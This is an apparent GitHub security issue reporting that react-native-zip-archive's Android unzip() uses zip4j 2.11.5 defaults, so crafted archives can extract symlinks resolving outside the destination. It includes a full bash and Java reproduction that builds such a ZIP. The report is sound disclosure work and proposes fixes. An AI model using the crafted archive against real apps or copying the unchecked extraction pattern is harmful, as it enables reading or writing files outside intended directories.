Skip to content

React Native Zip Archive Android zip4j symlink target escape #357

Description

@kimdu0

React Native Zip Archive Android zip4j symlink target escape

Summary

Current Android code still depends on zip4j 2.11.5 and calls new ZipFile(...).extractAll(destDirectory) without supplying parameters or post-extraction symlink containment checks.

Details

I reproduced this against the tested upstream commit. Tested commit:

d62e6e28afb6f38f3f3249775114590bb4cae107 (2026-06-15T13:04:32+08:00)

Relevant code path:

  • react-native-zip-archive/android/build.gradle lines 39-40: The Android module pins dependency net.lingala.zip4j:zip4j:2.11.5.
  • react-native-zip-archive/android/src/main/java/com/rnziparchive/RNZipArchiveModule.java lines 147-157: unzip() constructs a zip4j ZipFile and directly calls zipFile.extractAll(destDirectory).
  • zip4j/src/main/java/net/lingala/zip4j/model/UnzipParameters.java lines 3-12: zip4j defaults extractSymbolicLinks to true.

Root cause:

The Android unzip() implementation calls zip4j's ZipFile.extractAll(destDirectory) with no UnzipParameters override. The pinned dependency is zip4j 2.11.5, whose default UnzipParameters enables symlink extraction and whose symlink creation path does not validate that the resolved target stays inside the extraction root.

Related CVE reference: this is the same kind of bug as CVE-2024-12718 in python/cpython.

Reproduction

The following script fresh-clones react-native-zip-archive, checks out the tested commit, confirms the Android module pins zip4j 2.11.5, then extracts a ZIP containing link_to_outside -> ../outside_target.txt through the same new ZipFile(...).extractAll(dest) API used by RNZipArchiveModule.unzip().

#!/usr/bin/env bash
set -euo pipefail

RN_ZIP_ARCHIVE_COMMIT="d62e6e28afb6f38f3f3249775114590bb4cae107"

workdir="$(mktemp -d)"
cleanup() {
  set +e
  chmod -R u+w "$workdir" 2>/dev/null || true
  rm -rf "$workdir"
}
trap cleanup EXIT

git clone --quiet https://github.com/mockingbot/react-native-zip-archive.git "$workdir/react-native-zip-archive"
cd "$workdir/react-native-zip-archive"
git checkout --quiet "$RN_ZIP_ARCHIVE_COMMIT"
grep -q "net.lingala.zip4j.*2.11.5" android/build.gradle

mkdir "$workdir/repro"
cd "$workdir/repro"

cat > pom.xml <<'XML'
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>local.verify</groupId>
  <artifactId>zip4j-symlink-verify</artifactId>
  <version>1.0.0</version>
  <dependencies>
    <dependency>
      <groupId>net.lingala.zip4j</groupId>
      <artifactId>zip4j</artifactId>
      <version>2.11.5</version>
    </dependency>
  </dependencies>
</project>
XML

cat > Zip4jSymlinkExtract.java <<'JAVA'
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import net.lingala.zip4j.ZipFile;

public class Zip4jSymlinkExtract {
  public static void main(String[] args) throws Exception {
    Path zip = Paths.get(args[0]);
    Path dest = Paths.get(args[1]);
    Files.createDirectories(dest);
    new ZipFile(zip.toFile()).extractAll(dest.toString());
    Path link = dest.resolve("link_to_outside");
    System.out.println("ZIP=" + zip);
    System.out.println("DEST=" + dest);
    System.out.println("DEST_LINK=" + link);
    System.out.println("DEST_LINK_IS_SYMLINK=" + Files.isSymbolicLink(link));
    System.out.println("DEST_LINK_TARGET=" + Files.readSymbolicLink(link));
    System.out.println("DEST_LINK_REALPATH=" + link.toRealPath());
    System.out.println("DEST_ROOT_REALPATH=" + dest.toRealPath());
    System.out.println("LINK_RESOLVES_OUTSIDE=" + !link.toRealPath().startsWith(dest.toRealPath()));
  }
}
JAVA

mkdir src
printf 'outside via zip4j default\n' > outside_target.txt
ln -s ../outside_target.txt src/link_to_outside
(cd src && zip -y -q "$workdir/repro/symlink.zip" link_to_outside)

mvn -q dependency:copy-dependencies -DoutputDirectory=deps
javac -cp deps/zip4j-2.11.5.jar Zip4jSymlinkExtract.java
java -cp .:deps/zip4j-2.11.5.jar Zip4jSymlinkExtract "$workdir/repro/symlink.zip" "$workdir/repro/extract"

Observed result:

DEST_LINK_IS_SYMLINK=true
DEST_LINK_TARGET=../outside_target.txt
DEST_LINK_REALPATH=<temporary-directory>/repro/outside_target.txt
DEST_ROOT_REALPATH=<temporary-directory>/repro/extract
LINK_RESOLVES_OUTSIDE=true

Expected Behavior

Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.

Observed Behavior

ZipFile.extractAll(dest) creates dest/link_to_outside as a symlink whose real path resolves to outside_target.txt outside dest.

Impact

On Android, the default unzip() path can materialize a symlink inside the output tree that resolves outside the destination directory.

Suggested Fix Direction

  • On Android, call zip4j extraction with UnzipParameters.setExtractSymbolicLinks(false) until a safe target-containment check exists upstream.
  • If symlink extraction must remain supported, validate the extracted symlink target after resolution against the destination root before exposing success to callers.
  • Add a regression test for an archive entry whose symlink payload is '../outside_target.txt'.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions